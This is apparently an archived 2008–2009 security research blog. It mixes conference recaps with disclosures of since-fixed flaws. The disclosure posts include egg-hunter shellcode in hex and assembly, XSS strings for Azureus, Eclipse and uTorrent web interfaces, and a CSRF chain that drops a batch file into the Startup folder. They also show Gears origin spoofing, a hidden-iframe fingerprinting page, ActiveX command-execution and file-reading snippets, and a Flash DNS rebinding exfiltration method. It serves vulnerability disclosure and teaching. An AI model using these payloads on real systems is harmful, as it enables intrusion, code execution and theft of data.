Farfromr00tin

IE 7 and 8 Intranet Zones

2009-04-14T09:18:00.003-05:00

This is just going to be a quick post on some research that is pretty closely related to research I've done in the past. Cesar Cerrudo of Argennis released a paper on the ramifications of the security settings for the Intranet zone in IE 7 and 8. Last year I did some research into these settings for IE 6 and 7 but didn't take it as far as Cesar has. Go take a look, interesting stuff.

Heap-only Egg Hunter

2009-03-13T17:15:00.010-05:00

As Nate said in a recent blog post, it's often useful to reinvent the wheel, if only for one's own edification. Through attempting to write my own egg hunter I learned much more than I would have if I had simply plugged in skape's.

The exploit itself was very simple, but one of the issues we faced was reliability. The payload was being truncated when it was moved to the stack so we only had approximately 200 bytes to work with. However, the full payload was located in several different heaps throughout memory so this was a classic case for an egg hunter.

My idea was to write shellcode that would search only the heap for the full payload based on a lookout value which could also double as a sled. As I discovered, one of the important limiting factors in writing an egg hunter is the minimum size needed for a main payload (e.g. executing a command on the operating system). It's not very useful to have an egg hunter that is, for instance, 250 bytes. Kind of defeats the purpose. Mine ended up being 102 bytes, and I cheated a bit.

It does search the system heaps, but it also searches a bit more. Abstractly, here's how my egg hunter works:

~~Get address of TEB~~
Get address of PEB from TEB + 0x30
Get address of list of process heaps from PEB + 0x90
Get address of first heap
Add 0x100000 to heap address and push onto stack
Check if memory being pointed to is greater than heap base + 0x100000

If yes, start searching the next heap in the list

Check if memory being pointed to is accessible
Compare 4 bytes to lookout value

If equal check the next 4 bytes

If equal, jump there and slide into payload
If not equal increment the address being checked

If not equal increment the address being checked

The ideal way for this to have worked would have been to have it actually walk the heap lists, checking only the allocated memory segments. But, as mentioned above, there were size constraints.

By the way, I used skape's code for checking memory to see if it's accessible in my egg hunter. Worked beautifully.

In hex bytes:
$hunter =
"\xeb\x03".
"\x59".
"\xeb\x05".
"\xe8\xf8\xff\xff\xff".
"\x83\xc1\x0f".
#"\xb8\x41\x41\x41\x18".
"\xb8\x41\x41\x41\x30".
"\xc1\xe8\x18".
"\x89\x01".
"\x64\xa1\x41\x41\x41\x41".
#"\x8b\x40\x30".
#"\xb3\x90".
#"\x02\xc3".
"\x04\x90".
"\x8b\x38".
"\x33\xc9".
"\xb5\x10".
"\xc1\xe1\x08".
"\xb7\x03".
"\xb3\xe8".
"\xeb\x03".
"\x83\xc7\x04".
"\x8b\x37".
"\x03\xce".
"\x51".
"\xeb\x02".
"\x03\xf3".
"\x3b\x34\x24".
"\x7f\xef".
"\x8b\xd6".
"\x6a\x02".
"\x58".
"\xcd\x2e".
"\x3c\x05".
"\x74\xee".
"\x81\x3e\x42\x4a\x42\x4a".
"\x75\xe6".
"\x83\xfd\x01".
"\x75\x02".
"\xff\xe6".
"\x83\xc6\x04".
"\x33\xed".
"\x45".
"\xeb\xde";

In assembly:
jmp short 0x03
pop ecx
jmp short 0x05
call 0xf8
add ecx,0x0f
mov eax,0x30414141
shr eax,18
mov dword ptr[ecx],eax
mov eax,dword ptr fs[0x41414141]
add al,0x90
mov edi,dword ptr[eax]
xor ecx,ecx
mov ch,0x10
shl ecx,0x08
mov bh,0x03
mov bl,0xe8
jmp short 0x03
add edi,0x04
mov esi,dword ptr[edi]
add ecx,esi
push ecx
jmp short 0x02
add esi,ebx
cmp esi,dword ptr[esp]
jg short 0xef
mov edx,esi
push 0x02
pop eax
int 0x2e
cmp al,0x05
je short 0xee
cmp dword ptr[esi],0x4a424a42
jnz short 0xe6
cmp ebp,0x01
jnz short 0x02
jmp esi
add esi,0x04
xor ebp,ebp
inc ebp
jmp short 0xde

I'm sure this could probably be optimized and/or made to work more efficiently, but I am no assembly programmer.

edit: Another bit of code for my egg hunter that I got from elsewhere are the first 4 instructions. I took them from the Metasploit payloads. They are used to get the address where the

add ecx,0x0f

instruction resides on the stack as a reference point. The Metasploit payloads use these instructions to begin the process of decoding an encoded payload. A few instructions later I use my reference point to modify the

mov eax,dword ptr fs[0x41414141]

instruction in memory. I needed to do this in order to have the correct hex opcodes in memory to assemble into the following instruction:

mov eax,dword ptr fs[0x18]

That instruction assembles as \x64\xa1\x18\x00\x00\x00 which is obviously no good in a payload brought into the program as a string. The purpose of that instruction is to get the address of the TEB and put it into eax, which I then use an offset of to get the address of the PEB.

edit 2: I've modified the shellcode and assembly to reflect a change suggested by Jordan in the comments below and another small change I noticed would decrease the size of the shellcode. It's now < 100 bytes (97 bytes).

Amaya 11 Stack Overflow Exploits

2009-02-23T14:47:00.006-06:00

I've been doing a lot of learning in the past few months. I felt pretty comfortable with my skills attacking web apps, but I was severely lacking in memory corruption issues. I knew the basics, but was absolutely lost when it came to dealing with memory protections. So I decided to start from the beginning with stack overflows and /GS. I worked my way up from Windows XP SP0 through SP3 and eventually Vista SP1, through /GS, SafeSEH, DEP and ASLR. I am very happy with the results. Unfortunately, free time is at a premium these days and I don't have enough of it to describe my exploits as I should. So if there are any questions, ask.

I wrote a couple exploits for an Amaya 11 bdo tag stack overflow PoC. Amaya is a web editor/browser that was written by W3C. Doesn't seem to have much of a following, but never the less, it was an interesting exploit to write. When the payload reaches the stack, where it overflows the saved ebp, return address and SEH, no part of it can be outside of the ASCII range (0x01 - 0x7f). This made it somewhat challenging to a neophyte like myself. My exploits, which can be seen here and here, were written with that consideration in mind. One of them is a universal exploit for all service packs of XP and the other is an exploit for Windows Vista SP1. Haven't had a chance to test it on SP0 and probably won't.

I hope to write a more detailed explanation of these exploits in the future, but realistically, it may not happen.

Back In The Saddle Again

2009-01-03T21:10:00.001-06:00

It's been a while since I've posted to this blog. I haven't disappeared, I have just been taking a break from doing research since Black Hat Vegas. I'm currently involved in a couple small projects, one of which could turn out to be pretty cool. I'll make sure to post any developments.

Black Hat Vegas 2008 Recap

2008-08-10T12:08:00.005-05:00

First of all, I want to say thank you to all the people who came out and supported Nate, John and I for our talk.

We had a great turnout despite the fact that we were talking in the same time slot as such notable speakers (Dowd, Sotirov, Rutkowska, MSRC, Grossman). The audience was great (including the huge EY contingent that showed up) and we got some wonderful feedback after. We also did a podcast with Rich Mogull of Securosis right after the talk which you can find here.

On top of all this, Nate, Billy Rios and I won the Pwnie Award for Best Client Side Attack (which should have gone to Mark Dowd btw). This year's Black Hat Vegas (only my second) was a great time. I got to meet some great people and hang in some swanky places.

Special thanks to the entire Black Hat crew for having us come out and give our talk.

Now it's time to get back to the research ;)

Pwnie Nomination

2008-07-21T09:45:00.006-05:00

I just learned that Nate McFeters, Billy Rios and I have been nominated for pwnies for the best client-side attack.

It's a huge honor to even be nominated but most of the credit should go to Nate and Billy. They were really the driving force behind the discovery of these issues, I just wrote an exploit to steal people's pics. Even though our research has taken a different direction (except for Billy's recent 0wning of Firefox) I think protocol handlers are still quite viable for exploitation.

Anyway, I haven't been doing much in the way of research lately but I'm beginning to feel the itch again. There's still so much pwnage to be had out there and I'd like to get a piece of the action.

Cross Environment Hopping

2008-06-25T21:54:00.005-05:00

This is a subject that's near and dear to my heart.

Very good post detailing the dangers of what's been dubbed "Cross Environment Hopping" along with some thought provoking commentary. I love me some locally running web servers/applications. Gets me all excited just thinking about it! Great research guys.

Google Gears Origin Spoofing

2008-06-03T09:50:00.006-05:00

The time has come to explain my Google Gears exploit. They've begun to update this issue automatically.

The issue comes about in the way the parameters from the getPermission function in the Factory class are handled. It seems that the parameters provided to Gears through this function (customName, customImage and customMessage) are passed to the Javascript object which then passes them to a modal dialog box that pops up asking the user if they are sure they would like to let Gears be used from that page.

I discovered that the parameters are passed from the Javascript object (both from the IE gears.dll and the Firefox XUL object) using JSON objects. I happened to stumble upon this issue by encoding a back-slash in unicode. The unicode was interpreted by Gears and inserted the backslash next to the double-quote in the JSON object:

{
  "customIcon" : "http://1.2.3.4/gears/gears_sm_1.png",
  "customMessage" : "Trusted Google Code Gears Application for Pwning U",
  "customName" : "Google Code\",
  "origin" : "http://1.2.3.4",
}

As you might imagine, this totally screwed the parsing algorithm in the modal dialog box code and an unhandled exception occured which clued me in to the depth of the problem. I was then able to inject my own code into the JSON object to insert my own origin:

{
  "customIcon" : "http://1.2.3.4/gears/gears_sm_1.png",
  "customMessage" : "Trusted Google Code Gears Application for Pwning U",
  "customName" : "Google Code","orgin":"http://code.google.com"}",
  "origin" : "http://1.2.3.4",
}

And these were the resulting dialog boxes that popped up, in both IE and Firefox.

The really interesting thing is, the way the JSON parsing algorithm was set up, it only cared if the JSON string is valid up to the '}' character so anything after that was not even checked.

This issue allowed me, as an attacker, to make a user believe the code on my page is actually a code.google.com Gears app (or from any other domain for that matter).

This just begs the question; how can a user make an informed decision on what to trust if it's possible to make them believe it came from a trusted location?

Anwwer: they can't.

Miscellaneous Security Musings

2008-05-22T10:16:00.006-05:00

There's not going to be anything too technical or groundbreaking in this post. I'm waiting on a flaw to get fixed by Google right now so I figured I'd post this in the interim.

I've been in the security industry for all of 11 months now and I believe I have a fair amount of knowledge (at least in the web app security arena). As I learned more I began to realize that security is almost cyclical in nature. When defenders (i.e. software companies, network admins) concentrate on one area, attackers will move to another area. After several iterations of switching focus to a different area, the originally vulnerable area will lose focus entirely. Attackers will switch back after finding some new class of vulnerability and the cycle will go on.

This whole train of thought was brought about by a couple things. I've been fortunate enough to be included in research that some really smart people are doing and this theme has popped up recently. Unfortunately I really can't talk about this ongoing research (espeicially since none of it is mine anyway).

But also, something a colleague of mine said the other day reinfoced this. After I discovered that you can put a UNC notation address into an iframe source, he had the idea of forcing the user's Windows computer to connect to a computer of the attacker's choice (think passing the hash). He then turned to me and said "what was old is new again".

I'm not sure where I'm going with this, but it seems to me, this is how it works. Some area of security loses focus, people get sloppy, next thing you know we're seeing vulnerabilities again.

How do you combat this? It's human nature to get complacent. Maybe after a few more years of experience I'll have some creative suggestions for this problem. But for now, I'll just concentrate on the pwnage.

We're In @ Black Hat Vegas

2008-05-12T13:01:00.008-05:00

Holy crap! I can't believe we actually got in!

The first computer security conference I ever attended was Black Hat Vegas last year and now I'm going to be speaking there with Nate McFeters, Billy Rios and John Heasman. Crazy. I've spoken now at Black Hat Japan, Federal and Europe, but Vegas is The Big Show. Thanks to everybody who voted for us.

Our talk is entitled "The Internet Is Broken: Beyond document.cookie - Extreme Client Side Exploitation". We're going to show some pretty sick stuff there and it's going to be a two-session deal. Prepare yourself for a brain-meltingly awesome talk.

See you in Vegas!

Blue Hat Day 2

2008-05-08T10:31:00.007-05:00

I think I'm sufficiently recovered to blog about day 2.

I'm just kidding, it wasn't that bad, but I did drink a ton of vodka that night at the IOActive-sponsored limo races, and the Jello shots at the end didn't help at all either.

But let's rewind a bit and reminisce about the talks. Billy and Nitesh started off the conference in style with their Bad Sushi talk. Even though I've seen this talk 3 times I still enjoy it immensely.

Then kuza55 (Alex K.) talked about The Browser and Other Mistakes. It's been said before by others that his grasp of web app security is amazing for his age and I agree, but he's also a pretty cool guy to hang out with as well. He had some great stuff in his talk and some of the things he mentioned gave me ideas for future research.

Another talk I really enjoyed was Manuel Caballeros' talk about resident scripts. That talk was sick. I couldn't believe some of the stuff I was seeing. That will definitely be a focus in some of my future research into other languages.

Also, I got to meet Peleus Uhley and Eric Lee of the Adobe product security team. We worked pretty closely with them to get our Flash DNS Rebinding issue fixed.

When all was said and done I really had a great time there and I can't believe I was actually invited to attend. Thanks again to Katie Moussouris for inviting Nate and I out to the Microsoft campus. And kudos to the MSRC for all their efforts in the security space. It really looks like things are heading in the right direction. Unfortunately that makes my job more difficult...

I'll leave you with a picture from the inside of team Stoners/Hippies limo before our booze was stolen by certain unnamed assailants:

By the way, Nate has a pretty good writeup about Blue Hat over on the ZDNet Zero Day blog. Check it out.

Vista OS Version Trick

2008-05-05T10:16:00.011-05:00

I found out about this nifty little trick while messing around with UNC notation in the browser. For those wondering, I'll blog about the second day of Blue Hat some other time. Still mentally recovering from the limo races ;)

So, to start this out, I discovered something interesting about UNC notation. You can specify a port number. For example, if I did this in the browser:

\\1.2.3.4:80

It will actually try to connect to port 80, but it does some strange stuff when it tries that. Since Vista doesn't know exactly WHAT service is running on port 80 it will send a couple interesting requests to it. First it sends an OPTIONS HTTP request to that port. Then if it gets an intelligible response it will send some PROPFIND requests. Weird. Here are a couple examples of what it looks like from my Apache server logs:

8.7.6.5 - - [30/Apr/2008:16:35:23 -0500] "OPTIONS / HTTP/1.1" 200 - "-" "Microsoft-WebDAV-MiniRedir/6.0.6000"

5.4.3.2 - - [29/Apr/2008:16:21:38 -0500] "PROPFIND / HTTP/1.0" 200 - "-" "Microsoft-WebDAV-MiniRedir/6.0.6001"

And here is an actual HTTP request:

PROPFIND / HTTP/1.1
Content-Length: 0
Depth: 0
translate: f
User-Agent: Microsoft-WebDAV-MiniRedir/6.0.6000
Host: 1.2.3.4
Proxy-Connection: Keep-Alive

The thing we want to focus on here is the User-Agent header. It invariably says "Microsoft-WebDAV-MiniRedir/" but the version number included after the slash differs depending on what version of Vista the user is running.

Version 6.0.6000 is Vista Ultimate with no service pack and 6.0.6001 is Vista Ultimate with SP1 installed. I haven't had a chance to test other versions. So if we have a page like this:

<html>
<script>
function f() {
document.getElementById("shady").innerHTML = "<iframe name='s' id='s' src='\\\\1.2.3.4:80' width='40%' height='300'>";
}
setTimeout('f()', 500);
</script>
<body>
Nothing shady going on here....<br><br>
<div id="shady"></div>
</body>
</html>

We can force them to give up their Vista version number just by visiting our page.

Obviously we can make the iframe invisible so the error message doesn't show up for the victim.

So this, in and of itself, is not a system compromising attack, but the more information we can glean from the target the more ammunition we have as attackers. By the way, this does not work in XP.

Blue Hat Day 1

2008-05-02T03:26:00.006-05:00

I'm not going to say much in this post because I'm really tired right now. Mostly because I traveled today and it's 3:30 am in my time zone. But I'm back in Seattle again (last time was about two weeks ago) and this time it's for Microsoft's Blue Hat conference.

Microsoft held a welcoming party for everybody at the See Sound Lounge in downtown fairly close to the waterfront. Pretty cool place, live DJ, good finger foods and free alcohol. I got to hang out with Nate, Billy, John, Kev, Nitesh, h1kar1, kuza55, fukami, Peleus Uhley and Dan "Sombrero" Kaminsky. I think I see some of these guys more than I see my girlfriend these days.

But anyway, seems like they have a great line up of speakers and topics here and I'm really honored that I was invited to attend. Let the talks begin!

Azureus Web UI XSS

2008-04-30T09:31:00.008-05:00

Like I said in my uTorrent CSRF post, "more torrent pwnage to come soon". Here it is.

The web UI plugin for Azureus is vulnerable to XSS which leads to Cross Zone scripting attacks since it starts up a web server on the local host and runs a web application.

I won't take the time to explain what all this means since I've done that at length in previous posts. I'll just summarize and say that through these vectors the user is vulnerable to arbitrary command execution, arbitrary read/write of files, and bypass of the same-origin policy (depending on the browser version the victim is using). Let's get right to the attacks.

http://localhost:6886/index.tmpl?search="));alert('xss');//

The vector listed above is one that I found in the search functionality of Azureus.

http://localhost:6886/index.tmpl?d=d&t="));alert('xss');//

And this one Nate found in the torrent details functionality. Obviously the "alert"s are just for PoC.

The post I referenced in a previous blog entry where I disclosed my uTorrent flaws has an example of an interesting CSRF related to the Azureus web UI, although this doesn't lead to system compromise necessarily.

Anyway, this is just another example of how web applications that have been coded with little thought towards security being run on your local machine are highly dangerous.

Eclipse Local Web Server Exploitation

2008-04-24T13:32:00.032-05:00

I'm starting to feel a bit redundant here...

Oh well. I've been told that there is a patch available now for this issue so I'm free to talk about it.

I discovered XSS vulnerabilities in the Eclipse help system. Apparently just about all products based on Eclipse are/were vulnerable.

Since the vulnerability is XSS in a locally running web server (hrm, where have we heard that before...) if the user is running IE they may be in trouble.

When you click on Help -> Help Contents a web server is started up on the local machine. Upon further investigation I discovered that this server is an Apache Coyote 1.1 web server. The web server seems to be started on a pseudo-random port but it felt like a lot of the port numbers were used quite frequently. I never performed any kind of analysis on the random number generation for the port number so I'll leave that to someone else if they want to.

Anyway, let's get to the pwnage. Here's the location of the reflected XSS in the Eclipse Help System:

http://localhost:port/help/advanced/searchView.jsp?searchWord=a");}alert('xss');
</script>

Here's the location of the persistent XSS:

http://localhost:port/help/advanced/workingSetManager.jsp?operation=add&
workingSet='%3E%3Cscript%20src%3D'http%3A%2F%2F1.2.3.4%2Fa.js'%3E%3C%2Fscript%3E
&hrefs=%2Fcom.adobe.flexbuilder.help.api%2Ftoc.xml&oldName=

One thing I did find particularly interesting was trying to work around the fact that when I exploited the reflective XSS the web app did not change %20's back into spaces. It took a little thinking to get around this, but I managed.

So how does one write a Javascript payload with no spaces? Pretty simply actually. Let's take this snippet of sample code that we want to use for our payload:

function f(){
    var hr = new ActiveXObject("Msxml2.XMLHTTP");
    hr.onreadystatechange = function(){
       alert(hr.responseText);
    };
    hr.open("GET","http://www.google.com",true);
    hr.send(null);
}

setTimeout('f()',2000);

First of all, the "var" keyword is not needed. You can perform implicit variable declaration in Javascript. But what about the rest? What I did was get rid of all the whitespace that wasn't needed and came up with this:

function f(){hr=new ActiveXObject("Msxml2.XMLHTTP");hr.onreadystatechange=function(){
alert(hr.responseText);};hr.open("GET","http://www.google.com",true);hr.send(null);}
setTimeout('f()',2000);

That's pretty messy looking, but there are still spaces in there. What I did next was put that entire thing into a string and replaced the spaces with "..".

b="function..f(){hr=new..ActiveXObject("Msxml2.XMLHTTP");hr.onreadystatechange=
function(){alert(hr.responseText);};hr.open("GET","http://www.google.com",true);
hr.send(null);}setTimeout('f()',2000);";

But if you eval that string it's not going to work because of the ".." characters replacing the spaces. Just use the replace function!

If we put it all together we have this as our XSS attack string:

http://127.0.0.1:55610/help/advanced/searchView.jsp?searchWord=a");}b="function..f
(){hr=new..ActiveXObject(\"Msxml2.XMLHTTP\");hr.onreadystatechange=function()..{
alert(hr.responseText);};hr.open(\"GET\",\"http://www.google.com\",true);hr.send
(null);}setTimeout('f()',2000);";b=b.replace(/\.\./g,String.fromCharCode(32));
eval(b);</script>

toorcon Seattle was Awesome

2008-04-20T23:01:00.011-05:00

I had a great time at toorcon Seattle. The talks were awesome.

Dan Kaminsky dropped a bomb about how ISPs were taking non-existent subdomains and redirecting them to ad-servers. And let's say these web sites serving up these ads contain an XSS...yeah, MASS pwnage. Gotta love how docucment.domain works. Dan actually rickrolled us all.

And then John Heasman's talk about the Java browser plugin and Java Web Start was equally enlightening. Sun has some major problems in their implementations of certain aspects of Java. Anyway, I hope Kev is included more in the next version of his talk...

Katie Moussouris gave a pretty interesting talk on her role at Microsoft and what they're trying to do for responsible disclosure...WHAT? I said Microsoft really is advocating responsible disclosure these days...WHAT?! I said Microsoft seems to really be turning things around...OK!!!!

The talk Nate and I did on URI Use and Abuse seemed to get a good response as well. Anyway, there were other great talks that I'm too tired to include right now, but I just want to commend the toorcon team. They really outdid themselves with the parties they threw at the Public N3rd Area and the Last Supper Club. Hats off to all of them. Toorcon San Diego last year was the first one I had ever been to but I'm going to try to make it a point to come back to as many toorcons as possible.

Especially the one in the cooling tower of the half-built nuclear plant!

uTorrent Pwn3d

2008-04-19T20:03:00.025-05:00

I was going to keep this under my hat, so to speak, but this has forced my hand.

I found a few CSRFs that when put together can make a pretty devastating attack against uTorrent's Web UI and the underlying system. Basically you can force uTorrent to move completed downloads to an arbitrary directory on their system, download arbitrary torrents, and completely pwn their box.

This guy from rooksecurity.com had a couple interesting CSRFs that will change the username and password required for the Web UI. But, in order for the attacker to change the username and password the user must already be authenticated...so why go to all that trouble? For this attack we're going to assume that the user is already authenticated to uTorrent's Web UI.

First of all you need a way to get a file on their computer. Not only that, but you want to be able to put that file in an arbitrary location of your choosing. To do that you need to turn on uTorrent's "Move completed downloads to" option.

Then you need to tell uTorrent what directory to move the completed file to.

The URL is cut off in the screenshot, so here's what's actually happening:

http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\
Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup

And this is what uTorrent's downloads preferences should now look like:

Completed files will be moved to the All Users Startup folder and once we can force them to download files we effectively have pwnage. I actually can force them to download a torrent by doing the following:

http://localhost:14774/gui/?action=add-url&s=http://www.whatever.com/file.torrent

Let's say that the torrent makes uTorrent download pwn.bat. Once the download finishes, pwn.bat resides in the Startup folder and gets executed when the user reboots. But wait, it gets worse...

uTorrent has an XSS in the Web UI! Remember my previous two posts about the dangers of local web servers? There are actually a few different spots to exploit this. Here are the PoC strings for the XSS vectors.

http://localhost:14774/gui/?action=setsetting&s=tracker_ip&
v=%3Cscript%3Ealert('xss')%3C/script%3E

http://localhost:14774/gui/?action=setsetting&s=ct_hist_comm&
v=%3Cscript%3Ealert('xss')%3C/script%3E

http://localhost:14774/gui/?action=setsetting&s=dir_active_download&
v=%3Cscript%3Ealert('xss')%3C/script%3E

These are ALL persistent XSS attacks. To make the malicious Javascript fire you need to force the user's browser to visit

http://localhost:14774/gui/?action=getsettings

Remember, the "localhost" portion is VERY important because you want to perform a Cross ZONE Scripting attack, not just XSS. You could use "loopback" in place of "localhost" as well. So, moving on...

If your target is using IE 6 then you don't have to force them to download a file to the Startup folder and wait for them to restart their box. All you have to do is force them to download the file to a location like C:\ and then execute it for them with the WScript.Shell ActiveXObject since your Javascript is in the Local Intranet zone.

Pwn3d. Stay tuned, more torrent pwnage to come soon...

toorcon Seattle

2008-04-19T03:28:00.008-05:00

Well, I'm in the beautiful city of Seattle and have just enjoyed the first night of the conference put on by h1kar1 and team. I loved the live DJ's and the Public N3rd Area.

But before I got there, I saw this on one of the screens at the airport in my home town:

At least they've upgraded from 98 to XP... Sorry for the blurry picture quality, I was in a hurry.

But it's time for me to get some sleep. Nate and I have to rework our talk to fit into a 20 minute slot. Can't wait to hear Dan Kaminsky and John Heasman's talks.

Attack 0f T3h D0wd

2008-04-16T10:07:00.003-05:00

I know everybody else has already blogged about this, but it impressed me so much I have to say something too. Nate and my Flash pwnage pales in comparison...

Flash DNS Rebinding Attack Explained

2008-04-09T09:50:00.017-05:00

Instead of waiting a couple days to post about this, I guess I'll do it now. It's a pretty interesting flaw and since no one has posted the technical details of it yet, I'll be the one to do it.

First of all, this attack relies on DNS canonicalization differences between the browser and Flash. I'm going to pick on IE for this example.

So let's say your DNS search domain is mycompany.com and let's say your browser tries to go to the evil.com website. If evil.com can't be reached your system will start to look through your search domain by performing a DNS lookup for evil.com.mycompany.com (this is difficult because I need to be careful of my use of periods).

On the other hand, if your browser tries to go to evil.com. (notice the dot(.) on the end of that domain name) and it can't connect to it then it won't do any further lookups. It treats evil.com. as an absolute domain (I'm probably not using that terminology correctly, oh well).

The important thing to know here is that IE and Flash treat the differences between evil.com and evil.com. differently.

IE:
You go to evil.com, DNS lookup is performed for evil.com, the browser pins the resulting IP to evil.com and life is good. Then you go to evil.com., IE sees evil.com. as a totally DIFFERENT domain, performs a DNS lookup, pins that IP to evil.com. and life is still good.

All of the cross domain restrictions are in place that you would normally have. XMLHTTP requests are blocked, iframes are protected, etc.

Flash:
The SWF originates from the evil.com domain so URLLoader requests can only be made back to the same domain. But, Flash sees evil.com and evil.com. as THE SAME DOMAIN.

Attack:
Armed with the information above, we can come up with an attack scenario. Since IE treats evil.com and evil.com. as different domains and Flash treats them as the SAME domain, this means pwnage.

Flash allows requests to be made for evil.com. since it sees that as being the originating domain, it passes them off to IE which sees evil.com. as a DIFFERENT domain and performs a DNS lookup. By this time the attacker has changed the IP address for evil.com, either manually or automatically. IE performs the HTTP request for evil.com., passes that result back to Flash and it has now been pwned.

There is one obvious issue with what I've described above: How do you get the information you've obtained through your nefarious means back to your server if you're the attacker? Now that the domain evil.com is rebound in Flash it doesn't seem like an easy proposition.

That's where crossdomain.xml and the Socket class come in. If you have a crossdomain.xml file on your server and another domain name associated with that server, like 0mgurs0pwn3d.com, you can connect back and send the information you've stolen through binary (or probabably even XML) sockets.

Like I mentioned before, Nate and I used this exact flaw in our Picasa exploitation. I couldn't get traditional Anti-DNS Pinning working reliably so came up with this solution.

Flash DNS Rebinding Flaw Fixed

2008-04-09T08:50:00.014-05:00

Well, I guess I can talk about it now since they've fixed it. Nate and I found a DNS rebinding flaw in Adobe Flash that had to do with domain name canonicalization. I'm going to post a more in depth explanation of how it worked in the coming days but I'm too busy for that right now.

Anyway, just a quick hint, this issue is actually the one we used to pull of our Picasa exploit in a reliable fasion...

edit: I would also like to point out that this is not the issue pdp found that he used to exploit routers via CSRF. I think the CVE we are given credit for in the Adobe advisory may be incorrect because it does not describe the vulnerability we discovered.

edit 2: Apparently the CVE reference was a typo on Adobe's part. Should be fixed soon hopefully. Also, there were 7 separate vulnerabilities addressed in the patch that was released including the flaw used to bring the Vista system to its knees in Pwn2Own.

edit 3: The CVE for the DNS Rebinding vulnerability is CVE-2008-1655.

More On Local Web Servers

2008-04-04T20:04:00.012-05:00

Just thought I'd post a little discovery I made on the plane-ride home from San Jose. I was looking around in the C:\WINDOWS\system32\drivers\etc directory where the "hosts" file resides and found a file called "networks".

In this file there's a line that looks like this:

loopback 127

Interesting. I fired up my little web server script that I wrote in Perl, entered "http://loopback" into the address bar of Internet Explorer and magically, I'm in the Local Intranet zone, our sweet spot from my previous post on this topic.

So this is yet another way we can perform Cross Zone Scripting if there's an XSS on a locally running web server.

I Survived!

2008-03-30T16:30:00.008-05:00

Well, I've safely returned to the States with some great memories and some new friends. As you can see below, I narrowly escaped Death.

I had an awesome time at Black Hat Europe. I got to briefly meet FX finally. I saw his talk at Black Hat Federal on Cisco IOS and forensics and really enjoyed it. I also got to hang out with my good friends Nate, Billy, Nitesh, David and Tiller. Unfortunately, even though I've seen their presentation twice now I don't remember the URL for David and Tiller's blog.

Anyway, I had a blast and as always I came away with a ton of new ideas.

Black Hat Europe

2008-03-26T06:28:00.009-05:00

After a nine hour flight and around four hours of sleep I'm finally in Amsterdam.

I've registered for Black Hat and taken in some of the sights that Amsterdam has to offer and am very much enjoying myself so far. Nate and I walked down to the Waag yesterday. Apparently it's a restaurant that looks a bit like a small castle and used to be a weigh house, whatever that is.

Too bad it's so cold here, but I come from a cold place so I guess I should stop whining. Can't wait for the talks to start on Thursday!

Local Web Servers Are Dangerous

2008-03-05T12:57:00.030-06:00

edit:
Well, I found out that command execution and file access are not possible through the local intranet zone using default settings. Some of the machines I was testing turned out to have tweaked intranet settings. I should've checked that, but I'm correcting my mistake now. BUT! Check out John Heasman's post on how to use Java in conjunction with the weaker security policy of the local intranet zone to steal password hashes.

The title of this post may seem fairly obvious to those of you in the computer security field. Having a web server running on your machine opens up a plethora of attack vectors; command injection, SQL injection, file upload vulnerabilities, etc. But what I'm posting about today is slightly different from anything else I've seen on the subject.

What if there is a web application on the local web server that is vulnerable to XSS? And what if you are browsing from that machine? Are there any devastating attack vectors regarding this setup that you can think of? I can: Cross-Zone Scripting. The subject of cross-zone scripting has clearly been talked about before, but I'm not sure it's been talked about (at least that I've seen) in this particular context. Let me explain.

There are a few zones in Internet Explorer that we're worried about for this attack. The Internet zone is pretty well restricted. It enforces the same-origin policy, doesn't allow you to load certain ActiveX objects and so on. The Local Intranet zone on the other hand is much less restricted. The Trusted zone is not very restricted either but requires user interaction to put us in that zone. And the Restricted zone is, obviously, very restricted. For brevity's sake, I'll just tell you that the Local Intranet zone is the zone we want to try to get our malicious payload into.

Now, in the context of the scenario I just outlined above, how do we do this?

There are three different ways we can get into the Local Intranet zone.

The site must have been connected to previously using the Universal Naming Convention (\\1.2.3.4\share)

The site must be in the proxy exceptions list

The site cannot contain any dots (.) in its name

Conditions 1 and 2 are going to be difficult to fulfill unless we're in possession of some 1337 ninja hacker 0dayz. Condition 3 is our ticket to mass bl00dy pwnage. At first glance it might seem like we're limited by the dot (.) predicate when we think of the local computer address. The IP 127.0.0.1 is in the internet zone because of the dots in the IP addressing format itself. But, the name "localhost" has no dots in it and just so happens to be in the Local Intranet zone.

So if our attacker injects some malicious Javascript into our local web application like this:

http://localhost/?<script>h=new%20ActiveXObject("Msxml2.XMLHTTP");....</script>

That script will be executed in the Local Intranet zone. But what does that give us as far as pwnage vectors? ~~A lot~~.

Same-origin is NOT enforced in the Local Intranet zone (IE 6 and 7)

~~Can read and write files on the local system using a Scripting.FileSystemObject ActiveX object (IE 6)~~

~~Can execute arbitrary commands on the local operating system using a WScript.Shell ActiveX object (IE 6)~~

Ouch.

Incidentally, this all ties in with the research I've been involved in with Nate and Billy in the past, specifically with the Picasa exploit. Always ask yourself, "why are these applications running web servers on my box?" You may not be able to think of a good answer.

edit:
I thought it might be nice to provide some Javascript code so anybody can try this.

~~Command Execution:~~

a = new ActiveXObject("WScript.Shell");
a.run("notepad");

~~File Access:~~

a = new ActiveXObject("Scripting.FileSystemObject");
b = a.OpenTextFile("C:\boot.ini");
alert(b.ReadLine);

XMLHTTP Request:

hr = new ActiveXObject("MSxml2.XMLHTTP");
hr.onreadystatechange = function() {
alert(hr.responseText);
}
hr.open("GET", "http://www.google.com", true);
hr.send(null);